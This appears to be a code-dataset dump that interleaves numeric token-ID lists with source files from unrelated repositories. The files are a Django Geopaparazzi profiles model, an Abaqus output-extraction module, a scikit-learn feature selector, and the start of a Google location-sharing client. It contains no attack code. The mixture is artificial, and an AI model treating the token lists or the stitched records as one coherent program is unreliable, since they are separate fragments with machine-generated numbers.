2537,
29889,
7620,
1003,
29898,
2914,
29918,
12083,
23097,
29914,
18717,
17020,
29897,
13,
1678,
14770,
29889,
5358,
580,
13,
13,
13,
1678,
7442,
29889,
29879,
485,
300,
486,
29898,
2914,
29918,
12083,
23097,
29914,
18717,
17020,
7503,
29899,
29946,
10062,
15972,
11965,
29889,
7638,
742,
29871,
13,
462,
259,
716,
22677,
22848,
1919,
28552,
543,
29892,
613,
19200,
2433,
29995,
29875,
1495,
13,
1678,
396,
7442,
29889,
29879,
485,
300,
486,
29898,
2914,
29918,
12083,
29974,
17020,
29974,
15972,
3009,
29889,
7638,
742,
29871,
13,
1678,
396,
18884,
716,
22677,
22848,
29918,
3009,
1919,
28552,
543,
29892,
613,
19200,
2433,
29995,
29875,
1495,
13,
13,
1678,
396,
29881,
1982,
29889,
27342,
29918,
5893,
29918,
517,
29918,
19878,
580,
13,
2
] |
profiles/models.py | geoanalytic/geopap-rest | 0 | 159142 | <filename>profiles/models.py
from django.db import models
from django.contrib.postgres.fields import ArrayField
# Geopaparrazi profiles model
class Project(models.Model):
path = models.CharField(max_length=100, blank=True, default='')
modifieddate = models.DateTimeField(auto_now_add=True)
url = models.URLField(blank=True)
uploadurl = models.URLField(blank=True)
def __str__(self):
return self.path
class Tag(models.Model):
path = models.CharField(max_length=100, blank=True, default='')
modifieddate = models.DateTimeField(auto_now_add=True)
url = models.URLField(blank=True)
def __str__(self):
return self.path
class Basemap(models.Model):
path = models.CharField(max_length=100, blank=True, default='')
modifieddate = models.DateTimeField(auto_now_add=True)
url = models.URLField(blank=True)
size = models.CharField(max_length=30)
def __str__(self):
return self.path
class Spatialitedbs(models.Model):
path = models.CharField(max_length=100, blank=True, default='')
modifieddate = models.DateTimeField(auto_now_add=True)
url = models.URLField(blank=True)
size = models.CharField(max_length=30)
uploadurl = models.URLField(blank=True)
visible = ArrayField(models.CharField(max_length=30))
def __str__(self):
return self.path
class Otherfiles(models.Model):
path = models.CharField(max_length=100, blank=True, default='')
modifieddate = models.DateTimeField(auto_now_add=True)
url = models.URLField(blank=True)
def __str__(self):
return self.path
class Profile(models.Model):
name = models.CharField(max_length=100, blank=True, default='')
description = models.TextField()
creationdate = models.DateTimeField(auto_now_add=True)
modifieddate = models.DateTimeField(auto_now_add=True)
color = models.CharField(max_length=30, default="#FBC02D")
active = models.BooleanField(default=False)
sdcardPath = models.CharField(max_length=100, default="MAINSTORAGE")
mapView = models.CharField(max_length=100, default="52.02025604248047,-115.70208740234375,10.0")
project = models.ForeignKey(Project, on_delete = models.SET_NULL, blank=True, null=True)
tags = models.ForeignKey(Tag, on_delete = models.SET_NULL, blank=True, null=True)
basemaps = models.ManyToManyField(Basemap, blank=True)
spatialitedbs = models.ManyToManyField(Spatialitedbs, blank=True)
otherfiles = models.ManyToManyField(Otherfiles, blank=True)
def __str__(self):
return self.name
class Meta:
ordering = ('modifieddate', 'name', )
class ProfileSet(models.Model):
owner = models.OneToOneField('users.user', related_name='profilesets', on_delete=models.CASCADE)
profiles = models.ManyToManyField(Profile, blank=True)
formatVersion = models.FloatField(default=1.1)
def __str__(self):
return self.owner.username
| [
1,
529,
9507,
29958,
771,
5325,
29914,
9794,
29889,
2272,
13,
3166,
9557,
29889,
2585,
1053,
4733,
13,
3166,
9557,
29889,
21570,
29889,
2490,
7201,
29889,
9621,
1053,
4398,
3073,
13,
29937,
1879,
459,
481,
279,
336,
2526,
28723,
1904,
13,
13,
1990,
8010,
29898,
9794,
29889,
3195,
1125,
13,
1678,
2224,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
9654,
29922,
5574,
29892,
2322,
2433,
1495,
13,
1678,
9120,
1256,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
268,
13,
1678,
3142,
353,
4733,
29889,
4219,
3073,
29898,
19465,
29922,
5574,
29897,
13,
1678,
6441,
2271,
353,
4733,
29889,
4219,
3073,
29898,
19465,
29922,
5574,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
2084,
268,
13,
13,
1990,
10522,
29898,
9794,
29889,
3195,
1125,
13,
1678,
2224,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
9654,
29922,
5574,
29892,
2322,
2433,
1495,
268,
13,
1678,
9120,
1256,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
29871,
13,
1678,
3142,
353,
4733,
29889,
4219,
3073,
29898,
19465,
29922,
5574,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
2084,
13,
13,
1990,
4886,
331,
481,
29898,
9794,
29889,
3195,
1125,
13,
1678,
2224,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
9654,
29922,
5574,
29892,
2322,
2433,
1495,
268,
13,
1678,
9120,
1256,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
29871,
13,
1678,
3142,
353,
4733,
29889,
4219,
3073,
29898,
19465,
29922,
5574,
29897,
13,
1678,
2159,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29941,
29900,
29897,
13,
268,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
2084,
13,
13,
1990,
1706,
15238,
1573,
5824,
29898,
9794,
29889,
3195,
1125,
13,
1678,
2224,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
9654,
29922,
5574,
29892,
2322,
2433,
1495,
268,
13,
1678,
9120,
1256,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
29871,
13,
1678,
3142,
353,
4733,
29889,
4219,
3073,
29898,
19465,
29922,
5574,
29897,
13,
1678,
2159,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29941,
29900,
29897,
13,
1678,
6441,
2271,
353,
4733,
29889,
4219,
3073,
29898,
19465,
29922,
5574,
29897,
13,
1678,
7962,
353,
4398,
3073,
29898,
9794,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29941,
29900,
876,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
2084,
13,
268,
13,
1990,
5901,
5325,
29898,
9794,
29889,
3195,
1125,
13,
1678,
2224,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
9654,
29922,
5574,
29892,
2322,
2433,
1495,
268,
13,
1678,
9120,
1256,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
29871,
13,
1678,
3142,
353,
4733,
29889,
4219,
3073,
29898,
19465,
29922,
5574,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
2084,
13,
308,
13,
1990,
20802,
29898,
9794,
29889,
3195,
1125,
13,
1678,
1024,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
9654,
29922,
5574,
29892,
2322,
2433,
1495,
13,
1678,
6139,
353,
4733,
29889,
15778,
580,
13,
1678,
11265,
1256,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
268,
13,
1678,
9120,
1256,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
13,
1678,
2927,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29941,
29900,
29892,
2322,
9880,
29943,
5371,
29900,
29906,
29928,
1159,
13,
1678,
6136,
353,
4733,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
29897,
13,
1678,
28972,
7543,
2605,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
2322,
543,
1529,
25580,
1955,
10461,
1159,
13,
1678,
2910,
1043,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
2322,
543,
29945,
29906,
29889,
29900,
29906,
29900,
29906,
29945,
29953,
29900,
29946,
29906,
29946,
29947,
29900,
29946,
29955,
6653,
29896,
29896,
29945,
29889,
29955,
29900,
29906,
29900,
29947,
29955,
29946,
29900,
29906,
29941,
29946,
29941,
29955,
29945,
29892,
29896,
29900,
29889,
29900,
1159,
13,
1678,
2060,
353,
4733,
29889,
27755,
2558,
29898,
7653,
29892,
373,
29918,
8143,
353,
4733,
29889,
10490,
29918,
10074,
29892,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
268,
13,
1678,
8282,
353,
4733,
29889,
27755,
2558,
29898,
8176,
29892,
373,
29918,
8143,
353,
4733,
29889,
10490,
29918,
10074,
29892,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
13,
1678,
2362,
331,
2547,
353,
4733,
29889,
14804,
1762,
14804,
3073,
29898,
9496,
331,
481,
29892,
9654,
29922,
5574,
29897,
13,
1678,
18652,
1573,
5824,
353,
4733,
29889,
14804,
1762,
14804,
3073,
29898,
29903,
5031,
616,
1573,
5824,
29892,
9654,
29922,
5574,
29897,
13,
1678,
916,
5325,
353,
4733,
29889,
14804,
1762,
14804,
3073,
29898,
16107,
5325,
29892,
9654,
29922,
5574,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
978,
13,
632,
13,
1678,
770,
20553,
29901,
13,
4706,
20520,
353,
6702,
1545,
2164,
1256,
742,
525,
978,
742,
1723,
13,
13,
1990,
20802,
2697,
29898,
9794,
29889,
3195,
1125,
13,
1678,
12271,
353,
4733,
29889,
6716,
1762,
6716,
3073,
877,
7193,
29889,
1792,
742,
4475,
29918,
978,
2433,
771,
5325,
1691,
742,
373,
29918,
8143,
29922,
9794,
29889,
29907,
3289,
5454,
2287,
29897,
13,
1678,
28723,
353,
4733,
29889,
14804,
1762,
14804,
3073,
29898,
13909,
29892,
9654,
29922,
5574,
29897,
13,
1678,
3402,
6594,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29896,
29889,
29896,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
20348,
29889,
6786,
13,
2
] |
f3dasm/abaqus/post_processing/get_data.py | bessagroup/F3DASM | 26 | 64390 | <filename>f3dasm/abaqus/post_processing/get_data.py
'''
Created on 2020-04-15 14:50:02
Last modified on 2020-05-07 21:21:10
Python 2.7.16
v0.1
@author: <NAME> (<EMAIL>)
Main goal
---------
Develop functions to get data from odb files.
'''
#%% history outputs
def get_xydata_from_nodes_history_output(odb, nodes, variable,
directions=(1, 2, 3),
step_name=None):
'''
Given a node array, returns the values for time and the given variable.
Assumes the variable was requested in history outputs.
Parameters
----------
odb : Abaqus odb object
nodes : array-like of Abaqus OdbMeshNode objects
variable : str
It only works for vector-like variables. e.g. 'U' and 'RF'
directions : array
Directions for which to extract values.
step_name : str
If None, it uses the last step.
Returns
-------
y : array-like, shape = [n_nodes x [n_increments x n_directions]]
Notes
-----
-Assumes all the nodes have history output and the array contains each node
only once.
'''
# initialization
if not step_name:
step_name = odb.steps.keys()[-1]
step = odb.steps[step_name]
# collect data
y = []
for node in nodes:
instance_name = node.instanceName if node.instanceName else 'ASSEMBLY'
name = 'Node ' + instance_name + '.' + str(node.label)
historyOutputs = step.historyRegions[name].historyOutputs
node_data = []
for direction in directions:
node_data.append([data[1] for data in historyOutputs['%s%i' % (variable, direction)].data])
y.append(node_data)
return y
#%% field outputs
def get_ydata_from_nodeSets_field_output(odb, nodeSet, variable,
directions=(1, 2, 3), step_name=None,
frames=None):
'''
Given a node set, returns the values for the given variable.
It may take a while to run.
Parameters
----------
odb : Abaqus odb object
nodeSet : Abaqus nodeSet object
variable : str
It only works for vector-like variables. e.g. 'U' and 'RF'
directions : array
Directions for which to extract values. The value will be subtracted
by 1 when accessing abaqus data.
frames : array-like of Abaqus OdbFrame objects
If frames are available from outside, use it because it may significantly
decreases the computational time.
step_name : str
If None, it uses the last step. Only required if frames=None.
Returns
-------
values : array-like, shape = [n_increments x n_directions x n_nodes]]
'''
# TODO: extend to scalar and tensor like variables
# TODO: change name to accept also elements (position should be an input)
# access frames
if not frames:
if not step_name:
step_name = odb.steps.keys()[-1]
frames = [frame for frame in odb.steps[step_name].frames]
# collect data
values = []
for frame in frames:
varFieldOutputs = frame.fieldOutputs[variable]
outputs = varFieldOutputs.getSubset(region=nodeSet).values
output_frame = []
for direction in directions:
output_frame.append([output.data[direction - 1] for output in outputs])
values.append(output_frame)
return values
#%% other
def get_eigenvalues(odb, frames=None, step_name=None):
'''
Parameters
----------
odb : Abaqus odb object
frames : array-like of Abaqus OdbFrame objects
step_name : str
If None, it uses the last step. Only required if frames=None.
'''
# access frames
if not frames:
if not step_name:
step_name = odb.steps.keys()[-1]
frames = [frame for frame in odb.steps[step_name].frames]
# get eigenvalues
eigenvalues = [float(frame.description.split('EigenValue =')[1]) for frame in list(frames)[1:]]
return eigenvalues
| [
1,
529,
9507,
29958,
29888,
29941,
29881,
11625,
29914,
5363,
339,
29879,
29914,
2490,
29918,
19170,
29914,
657,
29918,
1272,
29889,
2272,
13,
12008,
13,
20399,
373,
29871,
29906,
29900,
29906,
29900,
29899,
29900,
29946,
29899,
29896,
29945,
29871,
29896,
29946,
29901,
29945,
29900,
29901,
29900,
29906,
13,
8897,
9120,
373,
29871,
29906,
29900,
29906,
29900,
29899,
29900,
29945,
29899,
29900,
29955,
29871,
29906,
29896,
29901,
29906,
29896,
29901,
29896,
29900,
13,
11980,
29871,
29906,
29889,
29955,
29889,
29896,
29953,
13,
29894,
29900,
29889,
29896,
13,
13,
29992,
8921,
29901,
529,
5813,
29958,
313,
29966,
26862,
6227,
12948,
13,
13,
6330,
7306,
13,
1378,
29899,
13,
21956,
3168,
304,
679,
848,
515,
2413,
29890,
2066,
29889,
13,
12008,
13,
13,
13,
29937,
7686,
4955,
14391,
13,
13,
1753,
679,
29918,
3594,
1272,
29918,
3166,
29918,
18010,
29918,
18434,
29918,
4905,
29898,
10396,
29892,
7573,
29892,
2286,
29892,
13,
462,
462,
308,
18112,
7607,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
511,
13,
462,
462,
308,
4331,
29918,
978,
29922,
8516,
1125,
13,
1678,
14550,
13,
1678,
11221,
263,
2943,
1409,
29892,
3639,
278,
1819,
363,
931,
322,
278,
2183,
2286,
29889,
13,
13,
1678,
4007,
9351,
278,
2286,
471,
13877,
297,
4955,
14391,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
2413,
29890,
584,
1976,
18463,
29879,
2413,
29890,
1203,
13,
1678,
7573,
584,
1409,
29899,
4561,
310,
1976,
18463,
29879,
438,
2585,
29924,
12094,
4247,
3618,
13,
1678,
2286,
584,
851,
13,
4706,
739,
871,
1736,
363,
4608,
29899,
4561,
3651,
29889,
321,
29889,
29887,
29889,
525,
29965,
29915,
322,
525,
29934,
29943,
29915,
13,
1678,
18112,
584,
1409,
13,
4706,
14818,
1953,
363,
607,
304,
6597,
1819,
29889,
13,
1678,
4331,
29918,
978,
584,
851,
13,
4706,
960,
6213,
29892,
372,
3913,
278,
1833,
4331,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
343,
584,
1409,
29899,
4561,
29892,
8267,
353,
518,
29876,
29918,
18010,
921,
518,
29876,
29918,
262,
1037,
1860,
921,
29871,
302,
29918,
20146,
1953,
5262,
13,
13,
1678,
8695,
13,
1678,
448,
807,
13,
1678,
448,
7900,
9351,
599,
278,
7573,
505,
4955,
1962,
322,
278,
1409,
3743,
1269,
2943,
13,
1678,
871,
2748,
29889,
13,
1678,
14550,
13,
13,
1678,
396,
17865,
13,
1678,
565,
451,
4331,
29918,
978,
29901,
13,
4706,
4331,
29918,
978,
353,
2413,
29890,
29889,
24530,
29889,
8149,
580,
14352,
29896,
29962,
13,
1678,
4331,
353,
2413,
29890,
29889,
24530,
29961,
10568,
29918,
978,
29962,
13,
13,
1678,
396,
6314,
848,
13,
1678,
343,
353,
5159,
13,
1678,
363,
2943,
297,
7573,
29901,
13,
4706,
2777,
29918,
978,
353,
2943,
29889,
8758,
1170,
565,
2943,
29889,
8758,
1170,
1683,
525,
3289,
1660,
9486,
16786,
29915,
13,
4706,
1024,
353,
525,
4247,
525,
718,
2777,
29918,
978,
718,
525,
6169,
718,
851,
29898,
3177,
29889,
1643,
29897,
13,
4706,
4955,
6466,
29879,
353,
4331,
29889,
18434,
4597,
1080,
29961,
978,
1822,
18434,
6466,
29879,
13,
4706,
2943,
29918,
1272,
353,
5159,
13,
4706,
363,
5305,
297,
18112,
29901,
13,
9651,
2943,
29918,
1272,
29889,
4397,
4197,
1272,
29961,
29896,
29962,
363,
848,
297,
4955,
6466,
29879,
1839,
29995,
29879,
29995,
29875,
29915,
1273,
313,
11918,
29892,
5305,
29897,
1822,
1272,
2314,
13,
4706,
343,
29889,
4397,
29898,
3177,
29918,
1272,
29897,
13,
13,
1678,
736,
343,
13,
13,
13,
29937,
7686,
1746,
14391,
13,
13,
1753,
679,
29918,
29891,
1272,
29918,
3166,
29918,
3177,
29903,
1691,
29918,
2671,
29918,
4905,
29898,
10396,
29892,
2943,
2697,
29892,
2286,
29892,
13,
462,
462,
308,
18112,
7607,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
511,
4331,
29918,
978,
29922,
8516,
29892,
13,
462,
462,
308,
16608,
29922,
8516,
1125,
13,
1678,
14550,
13,
1678,
11221,
263,
2943,
731,
29892,
3639,
278,
1819,
363,
278,
2183,
2286,
29889,
13,
13,
1678,
739,
1122,
2125,
263,
1550,
304,
1065,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
2413,
29890,
584,
1976,
18463,
29879,
2413,
29890,
1203,
13,
1678,
2943,
2697,
584,
1976,
18463,
29879,
2943,
2697,
1203,
13,
1678,
2286,
584,
851,
13,
4706,
739,
871,
1736,
363,
4608,
29899,
4561,
3651,
29889,
321,
29889,
29887,
29889,
525,
29965,
29915,
322,
525,
29934,
29943,
29915,
13,
1678,
18112,
584,
1409,
13,
4706,
14818,
1953,
363,
607,
304,
6597,
1819,
29889,
450,
995,
674,
367,
23197,
287,
13,
4706,
491,
29871,
29896,
746,
17378,
633,
18463,
29879,
848,
29889,
13,
1678,
16608,
584,
1409,
29899,
4561,
310,
1976,
18463,
29879,
438,
2585,
4308,
3618,
13,
4706,
960,
16608,
526,
3625,
515,
5377,
29892,
671,
372,
1363,
372,
1122,
16951,
13,
4706,
9263,
2129,
278,
26845,
931,
29889,
13,
1678,
4331,
29918,
978,
584,
851,
13,
4706,
960,
6213,
29892,
372,
3913,
278,
1833,
4331,
29889,
9333,
3734,
565,
16608,
29922,
8516,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
1819,
584,
1409,
29899,
4561,
29892,
8267,
353,
518,
29876,
29918,
262,
1037,
1860,
921,
302,
29918,
20146,
1953,
921,
302,
29918,
18010,
5262,
13,
1678,
14550,
13,
13,
1678,
396,
14402,
29901,
10985,
304,
17336,
322,
12489,
763,
3651,
13,
1678,
396,
14402,
29901,
1735,
1024,
304,
3544,
884,
3161,
313,
3283,
881,
367,
385,
1881,
29897,
13,
13,
1678,
396,
2130,
16608,
13,
1678,
565,
451,
16608,
29901,
13,
4706,
565,
451,
4331,
29918,
978,
29901,
13,
9651,
4331,
29918,
978,
353,
2413,
29890,
29889,
24530,
29889,
8149,
580,
14352,
29896,
29962,
13,
4706,
16608,
353,
518,
2557,
363,
3515,
297,
2413,
29890,
29889,
24530,
29961,
10568,
29918,
978,
1822,
19935,
29962,
13,
13,
1678,
396,
6314,
848,
13,
1678,
1819,
353,
5159,
13,
1678,
363,
3515,
297,
16608,
29901,
13,
4706,
722,
3073,
6466,
29879,
353,
3515,
29889,
2671,
6466,
29879,
29961,
11918,
29962,
13,
4706,
14391,
353,
722,
3073,
6466,
29879,
29889,
657,
4035,
842,
29898,
12803,
29922,
3177,
2697,
467,
5975,
13,
4706,
1962,
29918,
2557,
353,
5159,
13,
4706,
363,
5305,
297,
18112,
29901,
13,
9651,
1962,
29918,
2557,
29889,
4397,
4197,
4905,
29889,
1272,
29961,
20845,
448,
29871,
29896,
29962,
363,
1962,
297,
14391,
2314,
13,
13,
4706,
1819,
29889,
4397,
29898,
4905,
29918,
2557,
29897,
13,
13,
1678,
736,
1819,
13,
13,
13,
29937,
7686,
916,
13,
13,
1753,
679,
29918,
29872,
2101,
5975,
29898,
10396,
29892,
16608,
29922,
8516,
29892,
4331,
29918,
978,
29922,
8516,
1125,
13,
1678,
14550,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
2413,
29890,
584,
1976,
18463,
29879,
2413,
29890,
1203,
13,
1678,
16608,
584,
1409,
29899,
4561,
310,
1976,
18463,
29879,
438,
2585,
4308,
3618,
13,
1678,
4331,
29918,
978,
584,
851,
13,
4706,
960,
6213,
29892,
372,
3913,
278,
1833,
4331,
29889,
9333,
3734,
565,
16608,
29922,
8516,
29889,
13,
1678,
14550,
13,
13,
1678,
396,
2130,
16608,
13,
1678,
565,
451,
16608,
29901,
13,
4706,
565,
451,
4331,
29918,
978,
29901,
13,
9651,
4331,
29918,
978,
353,
2413,
29890,
29889,
24530,
29889,
8149,
580,
14352,
29896,
29962,
13,
4706,
16608,
353,
518,
2557,
363,
3515,
297,
2413,
29890,
29889,
24530,
29961,
10568,
29918,
978,
1822,
19935,
29962,
13,
13,
1678,
396,
679,
25973,
13,
1678,
25973,
353,
518,
7411,
29898,
2557,
29889,
8216,
29889,
5451,
877,
29923,
2101,
1917,
353,
29861,
29896,
2314,
363,
3515,
297,
1051,
29898,
19935,
9601,
29896,
29901,
5262,
13,
13,
1678,
736,
25973,
13,
2
] |
detect_fraud_email_enron/tools/k_best_selector.py | gotamist/other_machine_learning | 0 | 22349 | <gh_stars>0
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Tue Sep 25 18:26:45 2018
@author: gotamist
"""
import sys
sys.path.append("../tools/")
from feature_format import featureFormat, targetFeatureSplit
from sklearn.feature_selection import SelectKBest
def KBestSelector(data_dict, features_list, k):
data_array = featureFormat(data_dict, features_list)
labels, features = targetFeatureSplit(data_array)
kbest = SelectKBest(k=k)
kbest.fit(features, labels)
scores = kbest.scores_
tuples = zip(features_list[1:], scores)
top_k_features = sorted(tuples, key=lambda x: x[1], reverse=True)
return top_k_features[:k] | [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29906,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
20399,
373,
323,
434,
29639,
29871,
29906,
29945,
29871,
29896,
29947,
29901,
29906,
29953,
29901,
29946,
29945,
29871,
29906,
29900,
29896,
29947,
13,
13,
29992,
8921,
29901,
2355,
314,
391,
13,
15945,
29908,
13,
5215,
10876,
13,
9675,
29889,
2084,
29889,
4397,
703,
6995,
8504,
29914,
1159,
13,
3166,
4682,
29918,
4830,
1053,
4682,
5809,
29892,
3646,
19132,
18772,
13,
3166,
2071,
19668,
29889,
14394,
29918,
21731,
1053,
7605,
29968,
25353,
13,
1753,
476,
25353,
10378,
29898,
1272,
29918,
8977,
29892,
5680,
29918,
1761,
29892,
413,
1125,
13,
4706,
13,
1678,
848,
29918,
2378,
353,
4682,
5809,
29898,
1272,
29918,
8977,
29892,
5680,
29918,
1761,
29897,
13,
1678,
11073,
29892,
5680,
353,
3646,
19132,
18772,
29898,
1272,
29918,
2378,
29897,
13,
13,
1678,
413,
13318,
353,
7605,
29968,
25353,
29898,
29895,
29922,
29895,
29897,
13,
1678,
413,
13318,
29889,
9202,
29898,
22100,
29892,
11073,
29897,
13,
1678,
19435,
353,
413,
13318,
29889,
1557,
2361,
29918,
13,
1678,
5291,
2701,
353,
14319,
29898,
22100,
29918,
1761,
29961,
29896,
29901,
1402,
19435,
29897,
13,
1678,
2246,
29918,
29895,
29918,
22100,
353,
12705,
29898,
9161,
2701,
29892,
1820,
29922,
2892,
921,
29901,
921,
29961,
29896,
1402,
11837,
29922,
5574,
29897,
13,
13,
1678,
736,
2246,
29918,
29895,
29918,
22100,
7503,
29895,
29962,
2
] |
locationsharinglib/locationsharinglib.py | lufton/locationsharinglib | 0 | 165303 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: locationsharinglib.py
#
# Copyright 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
#
"""
Main code for locationsharinglib
.. _Google Python Style Guide:
http://google.github.io/styleguide/pyguide.html
"""
from __future__ import unicode_literals
import json
import logging
import pickle
from datetime import datetime
from bs4 import BeautifulSoup as Bfs
from cachetools import TTLCache, cached
from requests import Session
from .locationsharinglibexceptions import (InvalidCredentials,
InvalidData,
InvalidUser,
InvalidCookies,
TooManyFailedAuthenticationAttempts,
NoExpectedFormOption,
Unexpected2FAResponse)
__author__ = '''<NAME> <<EMAIL>>'''
__docformat__ = '''google'''
__date__ = '''2017-12-24'''
__copyright__ = '''Copyright 2017, Costas Tyfoxylos'''
__credits__ = ["<NAME>", "<NAME>", "<NAME>",
"<NAME>", "<NAME>"]
__license__ = '''MIT'''
__maintainer__ = '''<NAME>'''
__email__ = '''<<EMAIL>>'''
__status__ = '''Development''' # "Prototype", "Development", "Production".
# This is the main prefix used for logging
LOGGER_BASENAME = '''locationsharinglib'''
LOGGER = logging.getLogger(LOGGER_BASENAME)
LOGGER.addHandler(logging.NullHandler())
REPLACE_PATTERN = ")]}'\n"
SIGN_IN_MESSAGE = 'Sign in - Google Accounts'
INVALID_PASSWORD_TOKEN = '<PASSWORD>'
TOO_MANY_ATTEMPTS = 'Unavailable because of too many failed attempts'
TWO_STEP_VERIFICATION = 'TWO_STEP_VERIFICATION'
STATE_CACHING_SECONDS = 30
DEBUG = not True
STATE_CACHE = TTLCache(maxsize=1, ttl=STATE_CACHING_SECONDS)
class Person: # pylint: disable=too-many-instance-attributes
"""A person sharing its location as coordinates"""
def __init__(self, data):
logger_name = u'{base}.{suffix}'.format(base=LOGGER_BASENAME,
suffix=self.__class__.__name__)
self._logger = logging.getLogger(logger_name)
self._id = None
self._picture_url = None
self._full_name = None
self._nickname = None
self._latitude = None
self._longitude = None
self._timestamp = None
self._accuracy = None
self._address = None
self._country_code = None
self._charging = None
self._battery_level = None
self._populate(data)
def _populate(self, data):
try:
self._id = data[6][0]
self._picture_url = data[6][1]
self._full_name = data[6][2]
self._nickname = data[6][3]
self._latitude = data[1][1][2]
self._longitude = data[1][1][1]
self._timestamp = data[1][2]
self._accuracy = data[1][3]
self._address = data[1][4]
self._country_code = data[1][6]
self._charging = data[13][0]
self._battery_level = data[13][1]
except (IndexError, TypeError):
self._logger.debug(data)
raise InvalidData
def __str__(self):
text = (u'Full name :{}'.format(self.full_name),
u'Nickname :{}'.format(self.nickname),
u'Current location :{}'.format(self.address),
u'Latitute :{}'.format(self.latitude),
u'Longitude :{}'.format(self.longitude),
u'Datetime :{}'.format(self.datetime),
u'Charging :{}'.format(self.charging),
u'Battery % :{}'.format(self.battery_level),
u'Accuracy :{}'.format(self._accuracy))
return '\n'.join(text)
@property
def id(self): # pylint: disable=invalid-name
"""The internal google id of the account"""
return self._id or self.full_name
@property
def picture_url(self):
"""The url of the person's avatar"""
return self._picture_url
@property
def full_name(self):
"""The full name of the user as set in google"""
return self._full_name
@property
def nickname(self):
"""The nickname as set in google"""
return self._nickname
@property
def latitude(self):
"""The latitude of the person's current location"""
return self._latitude
@property
def longitude(self):
"""The longitude of the person's current location"""
return self._longitude
@property
def timestamp(self):
"""The timestamp of the location retrieval"""
return self._timestamp
@property
def datetime(self):
"""A datetime representation of the location retrieval"""
return datetime.fromtimestamp(int(self.timestamp) / 1000)
@property
def address(self):
"""The address as reported by google for the current location"""
return self._address
@property
def country_code(self):
"""The location's country code"""
return self._country_code
@property
def accuracy(self):
"""The accuracy of the gps"""
return self._accuracy
@property
def charging(self):
"""Whether or not the user's device is charging"""
return bool(self._charging)
@property
def battery_level(self):
"""The battery level of the user's device"""
return self._battery_level
class Authenticator: # pylint: disable=too-few-public-methods
"""Handles the authentication with google"""
def __init__(self, email, password, cookies_file=None):
logger_name = u'{base}.{suffix}'.format(base=LOGGER_BASENAME,
suffix=self.__class__.__name__)
